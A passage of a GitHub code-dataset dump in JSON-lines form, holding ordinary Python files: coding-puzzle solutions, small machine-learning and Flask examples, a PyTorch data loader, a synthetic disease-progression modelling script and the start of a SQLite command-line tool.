print(max_value)\n","repo_name":"TristoKrempita/advent-of-code","sub_path":"2019/day_7/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14766175062","text":"class Hilal(object):\n name = \"\"\n wear = []\n def __init__(self ,veri):\n self.name = veri\n self.wear = ['Gömlek','Pantolon']\n print('ben oluşturuldum')\n\n def bye(self):\n print(\"Bye {}\".format(self.name))\n\n def talk(self):\n print(\"Merhaba {}\".format(self.name))\n\nsinif=Hilal('Hilal')\nprint(sinif.name)\nsinif.talk()\nsinif.bye()\n\n\n\n\n","repo_name":"hilaldiler/2019oyk-yaz-python","sub_path":"basic/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70168705745","text":"#Given an integer array nums and an integer k, return the k most frequent elements. You may return the answer in any order.\n\nclass Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n count = {}\n frequence = [[] for i in range(len(nums) + 1)]\n\n for n in nums:\n count[n] = 1 + count.get(n, 0)\n\n for n, c in count.items():\n frequence[c].append(n)\n\n output = []\n for i in range(len(frequence)-1, 0, -1):\n for n in frequence[i]:\n output.append(n)\n\n if len(output) == k:\n return output\n","repo_name":"AlexTenghc/Leetcode","sub_path":"347.py","file_name":"347.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31158341035","text":"import numpy as np\r\nfrom sklearn.linear_model import LinearRegression\r\ndata = np.loadtxt(\"./Delivery.csv\",delimiter =',')\r\ndatax1 = data[:,0]\r\ndatax2 = data[:,1]\r\ndatax = []\r\nfor i in range(len(datax1)):\r\n datax.append([datax1[i],datax2[i]])\r\n\r\n# 二维的提取方式(1)\r\ndatax = np.array(datax)\r\n# 二维的提取方式(2)\r\ndatax = data[:,:2]\r\nprint(data)\r\nprint(datax)\r\n\r\ndatay = data[:,2,np.newaxis]\r\nmodel = LinearRegression()\r\nmodel.fit(datax,datay)\r\na, b = model.coef_, model.intercept_\r\nprint('多元线性回归系数:',a)\r\nprint('多元线性回归系数:',b)\r\nprint('y={}*x1+{}*x2{}'.format(a[0][0],a[0][1],b[0]))\r\n\r\n\r\n# 值预测\r\nprecit = [[11,4],[12,7]]\r\nprint(model.predict(precit))\r\n","repo_name":"SongDI911/machine-learning","sub_path":"机器学习/回归模型/多元线性回归/多元线性回归问题(基于包的解决方法).py","file_name":"多元线性回归问题(基于包的解决方法).py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44171856323","text":"import random\nfrom flask import Flask, render_template\n\napp = Flask(__name__)\n\ncard_marks = 'star,sun,moon'\nmarks = card_marks.split(',')\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/random_mark')\ndef random_mark():\n mark = random.choice(marks)\n return mark\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"yakinoki/Flask_practice","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72255319826","text":"import os\nfrom torch.utils.data import DataLoader, Subset\nfrom torchvision.datasets import ImageFolder\nfrom enum import Enum\nimport numpy as np\n\n\nclass ImageSubfolder(ImageFolder):\n \"\"\"\n\tAssign classes by the deepest subfolder instead of by the subfolders of the root.\n\t\"\"\"\n\n def _find_classes(self, dir):\n def has_dir(d):\n for item in os.scandir(d):\n if item.is_dir():\n return True\n return False\n\n classes = []\n base_length = len(dir)\n\n def add_dirs(root):\n for d in os.scandir(root):\n if not d.is_dir():\n continue\n if has_dir(d):\n add_dirs(f\"{root}/{d.name}\")\n else:\n classes.append(f\"{root}/{d.name}\"[base_length + 1 :])\n\n add_dirs(dir)\n classes.sort()\n class_to_idx = {cls_name: i for i, cls_name in enumerate(classes)}\n return classes, class_to_idx\n\n\nclass ClassType(Enum):\n THREE_CLASS = \"all\"\n NORMAL_INFECTED = \"inf\"\n COVID_NONCOVID = \"cov\"\n\n\ndef _load_data(\n loc=\"dataset\",\n kind=\"train\",\n suf=None,\n sub=False,\n prop=None,\n transform=None,\n **kwargs,\n):\n base = f\"{loc}/{kind}{'' if not suf else '/' + suf}\"\n dataset = (\n ImageSubfolder(base, transform=transform)\n if sub\n else ImageFolder(base, transform=transform)\n )\n if prop:\n dataset = Subset(\n dataset,\n np.random.choice(len(dataset), round(prop * len(dataset)), replace=False),\n )\n return DataLoader(dataset, **kwargs)\n\n\ndef load_data(\n loc=\"dataset\",\n kind=\"train\",\n class_type=ClassType.THREE_CLASS,\n transform=None,\n prop=None,\n **kwargs,\n):\n if class_type == ClassType.THREE_CLASS:\n return _load_data(\n loc=loc, kind=kind, sub=True, transform=transform, prop=prop, **kwargs\n )\n elif class_type == ClassType.NORMAL_INFECTED:\n return _load_data(\n loc=loc, kind=kind, sub=False, transform=transform, prop=prop, **kwargs\n )\n elif class_type == ClassType.COVID_NONCOVID:\n return _load_data(\n loc=loc,\n kind=kind,\n sub=False,\n suf=\"infected\",\n transform=transform,\n prop=prop,\n **kwargs,\n )\n else:\n raise ValueError(\"Invalid class_type\")\n\n","repo_name":"xl-s/ShallowLearning","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28301168366","text":"import cv2\nimport numpy as np\nimport deviationFromSobel\n#import deviationRC\n# import detectSign\nimport sys\n#sys.path.append('/driver')\n\nfrom termcolor import colored\nimport time\n\npath = 'window_version_Data/Snapshots/fx_UIT_Car.png'\n\nglobal rgb_stream\n#Frame 640 x 480\n\ndef initialize():\n\topenni2.initialize() # can also accept the path of the OpenNI redistribution\n\t\n\tdev = openni2.Device.open_any()\n\tprint(dev.get_device_info())\n\n\trgb_stream = dev.create_color_stream()\n\n\tprint('The rgb video mode is', rgb_stream.get_video_mode()) # Checks rgb video configuration\n\trgb_stream.set_video_mode(c_api.OniVideoMode(pixelFormat=c_api.OniPixelFormat.ONI_PIXEL_FORMAT_RGB888, resolutionX=640, resolutionY=480, fps=30))\n\n\t## Start the streams\n\trgb_stream.start()\n\t\n\treturn rgb_stream\n\ndef main():\n\tprint(\"Hello World!\")\n\t\n\t#orig_settings = termios.tcgetattr(sys.stdin)\n\t\n\t#tty.setraw(sys.stdin)\n\tx = 0\n\t\n\trunning = 0\n\t\n\t# rgb_stream = initialize()\n\tdevi = deviationFromSobel.deviation()\n \n\t#cap = cv2.VideoCapture('video.mp4')\n\twhile True:\n\t\ttry:\n\t\t\timg = cv2.imread(path)\n\t\t\t# img = cv2.flip(img, 1 )\n\t\t\t#ret,img = cap.read()\n\t\t\t#img = cv2.resize(img, (640, 480))\n\t\t\t#mask = sign.getMask(img)\n\t\t\t#sign.getLowerUpper()\n\t\t\tangle = devi.process_image(img)\n\t\t\t#driver.setSpeed(0)\n\t\t\tprint(int(angle))\n\t\t\n\t\t\n\t\t\n\t\t\tif cv2.waitKey(1)& 0xFF == ord('q'):\n\t\t\t\tbreak\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t \n\t #if x == ord('q'):\n\t\t #break\n\t\t\n\t#driver.setSpeed(0)\n\tcap.release()\n\tcv2.destroyAllWindows()\n\t#termios.tcsetattr(sys.stdin, termios.TCSADRAIN, orig_settings)\n\t\ndef stop():\n\tdriver = driverLib.DRIVER()\n\tdriver.turnOnLed1()\n\tdriver.turnOffLed2()\n\tdriver.turnOnLed3()\n\tdriver.setAngle(0)\n\tdriver.setSpeed(0)\n\tprint(colored('program crash', 'red'))\n\tprint(colored('stopped motor', 'green'))\n\treturn\n \nif __name__== \"__main__\":\n try:\n\t main()\n except:\n\t pass\n\t# stop()\n\n","repo_name":"fxanhkhoa/Unity_UITCar","sub_path":"Round1/Window/runNew.py","file_name":"runNew.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43672810294","text":"SOURCE_METADATA = {\n 'name': 'dgllifesci',\n 'original_name': 'DGL-LifeSci',\n 'url': 'https://lifesci.dgl.ai/'\n}\n\nMODELS = {\n 'Molecular Machine Learning': [\n 'AttentiveFP', 'GAT', 'GCN', 'MGCN', 'MPNN', 'SchNet', 'Weave', 'GIN',\n 'GNN OGB'\n ],\n 'Graph Generation': ['DGMG', 'JTNN', 'WLN', 'ACNN']\n}\n\nDATASETS = {\n 'Molecular Machine Learning': [\n 'Tox21', 'ESOL', 'FreeSolv', 'Lipophilicity', 'PCBA', 'MUV', 'HIV',\n 'BACE', 'BBBP', 'ToxCast', 'SIDER', 'ClinTox', 'AstraZenecaChEMBL',\n 'TencentQuantum', 'PubChemAromaticity', 'UnlabeledSMILES'\n ],\n 'Reaction Prediction': ['USPTO', 'USPTORank'],\n 'Graph Generation': ['JTVAE'],\n 'Protein-ligand Binding Affinity Prediction': ['PDBBind']\n}\n\n\ndef load_dataset(name: str) -> dict:\n return {'name': name, 'source': 'dgllifesci'}\n\n\ndef load_model(name: str) -> dict:\n return {'name': name, 'source': 'dgllifesci'}\n","repo_name":"stateoftheartai/sotaai","sub_path":"sotaai/neuro/dgllifesci_wrapper.py","file_name":"dgllifesci_wrapper.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"48"} +{"seq_id":"7027833228","text":"import numpy as np\nimport pickle\nmain_dir = \"external/data/\"\ndtype = \"complex128\"\n\ndef data_parser(nbp, nmax):\n\n dimt = 2 * nmax * (nmax + 2)\n\n matrices = [\"H\", \"J\"]\n\n for matrix in matrices:\n # sub_path = matrix + \"_Matrix/\"\n mt = np.ones((nbp, nbp, dimt, dimt), dtype=dtype)\n for row in range(1, nbp + 1):\n for col in range(1, nbp + 1):\n if row == col:\n continue\n file = matrix + \"(\" + str(row) + \",\" + str(col) + \")_\" + \".txt\"\n fullpath = main_dir + file\n fp = open(fullpath, \"r\")\n content = fp.read().strip().split(\"\\n\")[4:]\n idx = 0\n for line in content:\n # not sure about the order of sub_row and sub_col\n sub_row = idx // dimt\n sub_col = idx % dimt\n each = line.split()[1:]\n # print(row, col, sub_row, sub_col, each)\n re, im = eval(each[0]), eval(each[1])\n mt[row - 1, col - 1, sub_row, sub_col] = re + im*1.j\n idx += 1\n output = open(main_dir + matrix + '.npy', 'wb')\n pickle.dump(mt, output)\n output.close()\n\nif __name__ == \"__main__\":\n nmax = 3\n nbp = 9\n data_parser(nbp, nmax)","repo_name":"Alicia1529/NYU-Capstone","sub_path":"main/data_parser.py","file_name":"data_parser.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26260709291","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'largestPermutation' function below.\n#\n# The function is expected to return an INTEGER_ARRAY.\n# The function accepts following parameters:\n# 1. INTEGER k\n# 2. INTEGER_ARRAY arr\n#\n\n\ndef largestPermutation(k, arr):\n # Write your code here\n d = {k: v for v, k in enumerate(arr)}\n i = 0\n count = 0\n while i < len(arr) - 1 and count < k:\n if arr[i] != len(arr) - i:\n m = len(arr) - i\n arr[i], arr[d[m]] = arr[d[m]], arr[i]\n d[arr[d[m]]], d[m] = d[m], i\n count += 1\n i += 1\n return arr\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n first_multiple_input = input().rstrip().split()\n\n n = int(first_multiple_input[0])\n\n k = int(first_multiple_input[1])\n\n arr = list(map(int, input().rstrip().split()))\n\n result = largestPermutation(k, arr)\n\n fptr.write(' '.join(map(str, result)))\n fptr.write('\\n')\n\n fptr.close()\n","repo_name":"Seungju182/Hackerrank","sub_path":"algorithms/largest-permutation.py","file_name":"largest-permutation.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5676385443","text":"import sys\nimport numpy\nimport numpy as np\nimport colorsys\nfrom socket import gethostname\nimport time\nimport argparse\nimport os\nimport colorsys\nimport copy\n\nimport SigmoidModel\n\nparser = argparse.ArgumentParser(description='Launches voxel-wise/point-wise DPM on ADNI'\n 'using cortical thickness maps derived from MRI')\n\nparser.add_argument('--agg', dest='agg', type=int, default=0,\n help='agg=1 => plot figures without using Xwindows, for use on cluster where the plots cannot be displayed '\n ' agg=0 => plot with Xwindows (for use on personal machine)')\n\nparser.add_argument('--runIndex', dest='runIndex', type=int,\n default=1, help='index of run instance/process .. for cross-validation')\n\nparser.add_argument('--nrProc', dest='nrProc', type=int,\n default=1, help='# of processes')\n\nparser.add_argument('--modelToRun', dest='modelToRun', type=int,\n help='index of model to run')\n\nparser.add_argument('--cluster', action=\"store_true\",\n help='need to include this flag if runnin on cluster')\n\nparser.add_argument('--nrRows', dest='nrRows', type=int,\n help='nr of subfigure rows to plot at every iteration')\n\nparser.add_argument('--nrCols', dest='nrCols', type=int,\n help='nr of subfigure columns to plot at every iteration')\n\nparser.add_argument('--penalty', dest='penalty', type=float,\n help='penalty value for non-monotonic trajectories. between 0 (no effect) and 10 (strong effect). ')\n\nparser.add_argument('--regData', action=\"store_true\", default=False,\n help=' add this flag to regenerate the data')\n\nparser.add_argument('--runPartStd', dest='runPartStd', default='RR',\n help=' choose whether to (R) run or (L) load from the checkpoints: '\n 'either LL, RR, LR or RL. ')\n\n# parser.add_argument('--disModelObj', dest='disModelObj',\n# help=' either SigmoidModel or ')\n\nparser.add_argument('--expName', dest=\"expName\",\n help='synth1 or synth2')\n\nargs = parser.parse_args()\n\nif args.agg:\n # print(matplotlib.__version__)\n import matplotlib\n matplotlib.use('Agg')\n # print(asds)\n\nimport genSynthData\nimport ParHierModel\nimport Plotter\nfrom auxFunc import *\nimport evaluationFramework\nfrom matplotlib import pyplot as pl\n\n\nplotTrajParams = {}\nplotTrajParams['SubfigTrajWinSize'] = (1200,600)\nplotTrajParams['nrRows'] = args.nrRows\nplotTrajParams['nrCols'] = args.nrCols\nplotTrajParams['diagColors'] = {CTL:'g', MCI:'y', AD:'r',\n CTL2:'g', PCA:'y', AD2:'r'}\nplotTrajParams['diagScatterMarkers'] = {CTL:'o', MCI:'o', AD:'o',\n CTL2:'x', PCA:'x', AD2:'x'}\nplotTrajParams['legendCols'] = 4\nplotTrajParams['diagLabels'] = {CTL:'CTL', AD:'AD', PCA:'PCA', CTL2:'CTL2'}\n# plotTrajParams['ylimitsRandPoints'] = (-3,2)\n# plotTrajParams['blenderPath'] = blenderPath\nplotTrajParams['isSynth'] = True\nplotTrajParams['padTightLayout'] = 1\n\n\n\nif args.agg:\n plotTrajParams['agg'] = True\nelse:\n plotTrajParams['agg'] = False\n\nhostName = gethostname()\nif hostName == 'razvan-Inspiron-5547':\n height = 350\nelse: #if hostName == 'razvan-Precision-T1700':\n height = 450\n\n\ndef main():\n\n nrSubjLong = 100\n nrTimepts = 4\n\n lowerAgeLim = 60\n upperAgeLim = 80\n\n shiftsLowerLim = -13\n shiftsUpperLim = 10\n\n outFolder = 'resfiles/synth/'\n\n expName = args.expName\n fileName = '%s.npz' % expName\n\n regenerateData = args.regData\n\n params = {}\n\n nrFuncUnits = 2\n nrBiomkInFuncUnits = 3\n nrDis = 2\n\n\n\n nrBiomk = nrBiomkInFuncUnits * nrFuncUnits\n mapBiomkToFuncUnits = np.array(list(range(nrFuncUnits)) * nrBiomkInFuncUnits)\n # should give smth like [0,1,2,3,0,1,2,3,0,1,2,3]\n print('mapBiomkToFuncUnits', mapBiomkToFuncUnits)\n\n biomkInFuncUnit = [0 for u in range(nrFuncUnits+1)]\n for u in range(nrFuncUnits):\n biomkInFuncUnit[u] = np.where(mapBiomkToFuncUnits == u)[0]\n\n biomkInFuncUnit[nrFuncUnits] = np.array([]) # need to leave this as empty list\n\n plotTrajParams['biomkInFuncUnit'] = biomkInFuncUnit\n plotTrajParams['labels'] = ['biomarker %d' % n for n in range(nrBiomk)]\n plotTrajParams['nrRowsFuncUnit'] = 3\n plotTrajParams['nrColsFuncUnit'] = 4\n plotTrajParams['colorsTrajBiomkB'] = [colorsys.hsv_to_rgb(hue, 1, 1) for hue in\n np.linspace(0, 1, num=nrBiomk, endpoint=False)]\n plotTrajParams['colorsTrajUnitsU'] = [colorsys.hsv_to_rgb(hue, 1, 1) for hue in\n np.linspace(0, 1, num=nrFuncUnits, endpoint=False)]\n\n # plotTrajParams['yNormMode'] = 'zScoreTraj'\n # plotTrajParams['yNormMode'] = 'zScoreEarlyStageTraj'\n plotTrajParams['yNormMode'] = 'unscaled'\n\n # if False, plot estimated traj. in separate plot from true traj.\n plotTrajParams['allTrajOverlap'] = True\n\n params['unitNames'] = ['Unit%d' % f for f in range(nrFuncUnits)]\n\n params['runIndex'] = args.runIndex\n params['nrProc'] = args.nrProc\n params['cluster'] = args.cluster\n params['plotTrajParams'] = plotTrajParams\n params['penalty'] = args.penalty\n params['penaltyUnits'] = 20\n params['penaltyDis'] = 1\n params['nrFuncUnits'] = nrFuncUnits\n params['nrFuncUnitsImgOnly'] = nrFuncUnits\n params['biomkInFuncUnit'] = biomkInFuncUnit\n params['nrBiomkDisModel'] = nrFuncUnits\n params['nrExtraBiomk'] = 0\n\n\n\n params['nrGlobIterUnit'] = 10 # these parameters are specific for the Joint Model of Disease (JMD)\n params['iterParamsUnit'] = 50\n params['nrGlobIterDis'] = 10\n params['iterParamsDis'] = 50\n\n # # params['unitModelObjList'] = MarcoModel.GP_progression_model\n # params['unitModelObjList'] = SigmoidModel.SigmoidModel\n # params['disModelObj'] = SigmoidModel.SigmoidModel\n\n # by default we have no priors\n params['priors'] = None\n\n ####### set priors for specific models #########\n\n # params['priors'] = dict(prior_length_scale_mean_ratio=0.33, # mean_length_scale = (self.maxX-self.minX)/3\n # prior_length_scale_std=1e-4, prior_sigma_mean=2,prior_sigma_std = 1e-3,\n # prior_eps_mean = 1, prior_eps_std = 1e-2)\n # params['priors'] = dict(prior_length_scale_mean_ratio=0.9, # mean_length_scale = (self.maxX-self.minX)/3\n # prior_length_scale_std=1e-4, prior_sigma_mean=3, prior_sigma_std=1e-3,\n # prior_eps_mean=0.1, prior_eps_std=1e-6)\n\n params['priorsUnitModelsMarcoModel'] = [dict(prior_length_scale_mean_ratio=0.05, # mean_length_scale = (self.maxX-self.minX)/3\n prior_length_scale_std=1e-6, prior_sigma_mean=0.5, prior_sigma_std=1e-3,\n prior_eps_mean=0.1, prior_eps_std=1e-6) for u in range(nrFuncUnits)]\n\n transitionTimePriorMean = 1 # in DPS 0-1 space, prior mean\n transitionTimePriorMin = 0.1\n transitionTimePriorMax = 10\n\n bPriorShape, bPriorRate = getGammShapeRateFromTranTime(\n transitionTimePriorMean, transitionTimePriorMin, transitionTimePriorMax)\n\n params['priorsDisModels'] = [dict(meanA=1, stdA=1e-5, meanD=0, stdD=1e-5,\n shapeB=bPriorShape, rateB=bPriorRate, timeShiftStd=15)\n for d in range(nrDis)]\n params['priorsUnitModels'] = [None for d in range(nrDis)]\n\n\n ##### disease agnostic parameters ###########\n # params of individual biomarkers\n thetas = np.zeros((nrBiomk, 4), float)\n thetas[:, 0] = 1\n thetas[:, 3] = 0\n for f in range(nrFuncUnits):\n thetas[mapBiomkToFuncUnits == f, 2] = np.linspace(0.2, 0.9, num=nrBiomkInFuncUnits, endpoint=True)\n\n # set first funtional unit to have traj with lower slopes\n thetas[mapBiomkToFuncUnits == 0, 1] = 5\n thetas[mapBiomkToFuncUnits == 1, 1] = 10\n # thetas[mapBiomkToFuncUnits == 2, 1] = 7\n\n\n if args.expName == 'synth1':\n sigmaB = 0.05 * np.ones(nrBiomk)\n elif args.expName == 'synth2':\n sigmaB = 0.01 * np.ones(nrBiomk)\n else:\n raise ValueError('expName should be synth1 or synth2')\n\n\n # scale every biomarker with mean and std.\n scalingBiomk2B = np.zeros((2, nrBiomk))\n # scalingBiomk2B[:, 0] = [200, 100] # mean +/- std\n # scalingBiomk2B[:, 0] = [200, 100] # mean +/- std\n #\n # scalingBiomk2B[:, 1] = [-20, 3] # mean +/- std\n # scalingBiomk2B[:, 1] = [-20, 3] # mean +/- std\n #\n # scalingBiomk2B[:, 2:4] = scalingBiomk2B[:, 0:2]\n # scalingBiomk2B[:, 4:6] = scalingBiomk2B[:, 0:2]\n\n scalingBiomk2B[1,:] = 1\n\n ##### disease 1 - disease specific parameters ###########\n\n # params of the dysfunctional trajectories\n dysfuncParamsDisOne = np.zeros((nrFuncUnits, 4), float)\n dysfuncParamsDisOne[:, 0] = 1 # ak\n dysfuncParamsDisOne[:, 1] = [0.3, 0.2] # bk\n dysfuncParamsDisOne[:, 2] = [-4, 6] # ck\n dysfuncParamsDisOne[:, 3] = 0 # dk\n\n synthModelDisOne = ParHierModel.ParHierModel(dysfuncParamsDisOne, thetas,\n mapBiomkToFuncUnits, sigmoidFunc, sigmaB)\n\n paramsDisOne = copy.deepcopy(params)\n\n paramsDisOne = genSynthData.generateDataJMD(nrSubjLong, nrBiomk, nrTimepts,\n shiftsLowerLim, shiftsUpperLim, synthModelDisOne, outFolder, fileName,\n regenerateData, paramsDisOne, scalingBiomk2B, ctlDiagNr=CTL, patDiagNr=AD)\n\n # paramsDisOne['plotTrajParams']['trueParams'] = paramsDisOne['trueParams']\n\n\n replaceFigMode = True\n\n if regenerateData:\n synthPlotter = Plotter.PlotterJDM(paramsDisOne['plotTrajParams'])\n fig = synthPlotter.plotTrajDataMarcoFormat(paramsDisOne['X'], paramsDisOne['Y'],\n paramsDisOne['diag'], synthModelDisOne, paramsDisOne['trueParamsDis'], replaceFigMode=replaceFigMode)\n fig.savefig('%s/%sDis1GenData.png' % (outFolder, expName))\n\n ##### disease 2 - disease specific parameters ###########\n\n # params of the dysfunctional trajectories\n dysfuncParamsDisTwo = copy.deepcopy(dysfuncParamsDisOne)\n dysfuncParamsDisTwo[:, 1] = [0.3, 0.2] # bk\n dysfuncParamsDisTwo[:, 2] = [6, -4]\n\n synthModelDisTwo = ParHierModel.ParHierModel(dysfuncParamsDisTwo, thetas, mapBiomkToFuncUnits, sigmoidFunc, sigmaB)\n\n paramsDisTwo = copy.deepcopy(paramsDisOne)\n nrSubjLongDisTwo = 50\n nrTimeptsDisTwo = 4\n\n paramsDisTwo = genSynthData.generateDataJMD(nrSubjLongDisTwo, nrBiomk,\n nrTimeptsDisTwo, shiftsLowerLim, shiftsUpperLim, synthModelDisTwo,\n outFolder, fileName, regenerateData, paramsDisTwo, scalingBiomk2B,\n ctlDiagNr=CTL2, patDiagNr=PCA)\n\n # for disease two, only keep the second biomarker in each functional unit\n indBiomkInDiseaseTwo = np.array(range(nrFuncUnits,(2*nrFuncUnits)))\n print('indBiomkInDiseaseTwo', indBiomkInDiseaseTwo)\n paramsDisTwo['Xtrue'] = paramsDisTwo['X']\n paramsDisTwo['Ytrue'] = paramsDisTwo['Y']\n\n # for disease two, change the format of the X and Y arrays, add the missing biomarkers with empty lists\n XemptyListsAllBiomk = [0 for _ in range(nrBiomk)]\n YemptyListsAllBiomk = [0 for _ in range(nrBiomk)]\n visitIndicesDisTwoMissing = [0 for _ in range(nrBiomk)]\n for b in range(nrBiomk):\n XemptyListsAllBiomk[b] = [0 for _ in range(nrSubjLongDisTwo)]\n YemptyListsAllBiomk[b] = [0 for _ in range(nrSubjLongDisTwo)]\n visitIndicesDisTwoMissing[b] = [0 for _ in range(nrSubjLongDisTwo)]\n\n for s in range(nrSubjLongDisTwo):\n if b in indBiomkInDiseaseTwo:\n XemptyListsAllBiomk[b][s] = paramsDisTwo['Xtrue'][b][s]\n YemptyListsAllBiomk[b][s] = paramsDisTwo['Ytrue'][b][s]\n visitIndicesDisTwoMissing[b][s] = paramsDisTwo['visitIndices'][b][s]\n else:\n XemptyListsAllBiomk[b][s] = np.array([])\n YemptyListsAllBiomk[b][s] = np.array([])\n visitIndicesDisTwoMissing[b][s] = np.array([])\n\n paramsDisTwo['XemptyListsAllBiomk'] = XemptyListsAllBiomk\n paramsDisTwo['YemptyListsAllBiomk'] = YemptyListsAllBiomk\n paramsDisTwo['visitIndicesMissing'] = visitIndicesDisTwoMissing\n\n if regenerateData:\n synthPlotter = Plotter.PlotterJDM(paramsDisTwo['plotTrajParams'])\n fig = synthPlotter.plotTrajDataMarcoFormat(paramsDisTwo['Xtrue'],\n paramsDisTwo['Ytrue'], paramsDisTwo['diag'],\n synthModelDisTwo, paramsDisTwo['trueParamsDis'], replaceFigMode=replaceFigMode)\n fig.savefig('%s/%sDis2GenDataFull.png' % (outFolder, expName))\n\n synthPlotter = Plotter.PlotterJDM(paramsDisTwo['plotTrajParams'])\n fig = synthPlotter.plotTrajDataMarcoFormat(paramsDisTwo['XemptyListsAllBiomk'],\n paramsDisTwo['YemptyListsAllBiomk'], paramsDisTwo['diag'],\n synthModelDisTwo, paramsDisTwo['trueParamsDis'], replaceFigMode=replaceFigMode)\n fig.savefig('%s/%sDis2GenDataMissing.png' % (outFolder, expName))\n\n\n ############### now merge the two datasets ############\n\n # add the biomarkers from the second dataset, same format as dataset 1\n # but with missing entries\n params = paramsDisOne\n for b in range(nrBiomk):\n params['X'][b] += paramsDisTwo['XemptyListsAllBiomk'][b]\n params['Y'][b] += paramsDisTwo['YemptyListsAllBiomk'][b]\n params['visitIndices'][b] += paramsDisTwo['visitIndicesMissing'][b]\n\n # print('visitIndicesDisTwoMissing', visitIndicesDisTwoMissing)\n # print(adssa)\n\n params['RID'] = np.concatenate((params['RID'],\n nrSubjLong + paramsDisTwo['RID']),axis=0) # RIDs must be different\n\n # this is the full vector of diagnoses for all diseases\n params['diag'] = np.concatenate((paramsDisOne['diag'], paramsDisTwo['diag']),axis=0)\n params['plotTrajParams']['diag'] = params['diag']\n\n params['trueParamsDis'] = [params['trueParamsDis'], paramsDisTwo['trueParamsDis']]\n\n for f in range(nrFuncUnits):\n params['trueParamsFuncUnits'][f]['subShiftsS'] = np.concatenate(\n (params['trueParamsFuncUnits'][f]['subShiftsS'],\n paramsDisTwo['trueParamsFuncUnits'][f]['subShiftsS']),axis=0)\n\n # map which diagnoses belong to which disease\n # first disease has CTL+AD, second disease has CTL2+PCA\n params['diagsSetInDis'] = [np.array([CTL, AD]), np.array([CTL2, PCA])]\n params['disLabels'] = ['Dis0', 'Dis1']\n params['otherBiomkPerDisease'] = [[], []]\n\n params['binMaskSubjForEachDisD'] = [np.in1d(params['diag'],\n params['diagsSetInDis'][disNr]) for disNr in range(nrDis)]\n\n assert params['diag'].shape[0] == len(params['X'][0])\n assert np.sum(params['binMaskSubjForEachDisD'][0]) == len(params['trueParamsDis'][0]['subShiftsS'])\n assert params['diag'].shape[0] == len(params['trueParamsFuncUnits'][0]['subShiftsS'])\n\n # if np.abs(args.penalty - int(args.penalty) < 0.00001):\n # expName = '%sPen%d' % (expName, args.penalty)\n # else:\n # expName = '%sPen%.1f' % (expName, args.penalty)\n\n params['runPartStd'] = args.runPartStd\n params['runPartMain'] = ['R', 'I', 'I'] # [mainPart, plot, stage]\n params['masterProcess'] = args.runIndex == 0\n\n expNameDisOne = '%s' % expName\n modelNames, res = evaluationFramework.runModels(params, expName,\n args.modelToRun, runAllExpSynth)\n\n\ndef runAllExpSynth(params, expName, dpmBuilder, compareTrueParamsFunc = None):\n \"\"\" runs all experiments\"\"\"\n\n res = {}\n\n params['patientID'] = AD\n params['excludeID'] = -1\n params['excludeXvalidID'] = -1\n params['excludeStaging'] = [-1]\n\n params['outFolder'] = 'resfiles/synth/%s' % expName\n\n dpmObjStd, res['std'] = evaluationFramework.runStdDPM(params,\n expName, dpmBuilder, params['runPartMain'])\n\n return res\n\n\ndef transferProgression(dpmObjStdDisOne, paramsDisTwo,\n expNameDisTwo, dpmBuilderDisTwo, runPart):\n\n dataIndices = np.logical_not(np.in1d(paramsDisTwo['diag'], paramsDisTwo['excludeXvalidID']))\n print(np.sum(np.logical_not(dataIndices)))\n print('excludeID', params['excludeXvalidID'])\n print(params['diag'].shape)\n dpmObj = dpmBuilder.generate(dataIndices, expNameDisTwo, paramsDisTwo)\n res = None\n if runPart[0] == 'R':\n res = dpmObj.runStd(params['runPartStd'])\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"razvanmarinescu/dkt","sub_path":"jointSynth.py","file_name":"jointSynth.py","file_ext":"py","file_size_in_byte":15291,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"18946117636","text":"#!/usr/bin/python3\nimport argparse\nimport os\nimport config\nimport core.sqlite_helper as db\nimport core.script_lib as lib\nimport importlib\nfrom tabulate import tabulate\nimport csv\nimport json\nfrom itertools import repeat\nfrom collections import OrderedDict\n\ndef get_db_file(args):\n\tif args.override_default_db_file is not None:\n\t\treturn args.override_default_db_file\n\n\tscript_dir = os.path.dirname(os.path.realpath(__file__))\n\tdb_file = config.DEFAULT_SQLITE_DB\n\treturn os.path.join(script_dir, db_file)\n\ndef do_db_health_check(db_file):\n\tcheck_status = True\n\tif not os.path.isfile(db_file):\n\t\tprint(\"[!] error: db_file: not found - '%s'\" % db_file)\n\t\tcheck_status = False\n\t\treturn check_status\n\n\tdb_conn = db.connect(db_file)\n\ttable_name = \"release\"\n\tif not db.table_exists(db_conn, table_name):\n\t\tprint(\"[!] error: db_table missing - '%s'\" % 